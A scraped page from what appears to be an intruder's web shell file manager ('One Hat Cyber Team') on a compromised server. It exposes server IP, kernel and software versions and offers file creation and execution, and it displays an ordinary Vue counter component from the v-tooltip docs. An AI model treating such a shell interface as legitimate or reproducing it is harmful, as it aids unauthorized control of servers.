⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
v-tooltip
/
docs-src
/
View File Name :
ExampleComponent.vue
<template> <div class="example-component"> <span><I'm a component!</span> <br> <button v-if="count < 14" class="button" @click="count < 14 && count++">+</button> <button v-if="count > 0" class="button" @click="count > 0 && count--">-</button> <br> <transition-group tag="span" class="counter"> <span v-for="n in count" :key="n" class="char">{{ char }}</span> </transition-group> <span>/></span> </div> </template> <script> export default { props: { char: { type: String, default: '#', }, }, data () { return { count: 0, } }, } </script> <style lang="scss" scoped> .example-component { background: $primary-color; padding: 4px 16px; border-radius: 3px; color: white; text-align: center; font-family: monospace; font-size: 1.2em; } .button { padding: 2px 6px; } .counter { font-weight: bold; } .char { display: inline-block; width: 32px; text-align: center; margin-top: 6px; overflow: hidden; &.v-enter-active, &.v-leave-active { transition: width .5s; } &.v-enter, &.v-leave-to { width: 0; } } </style>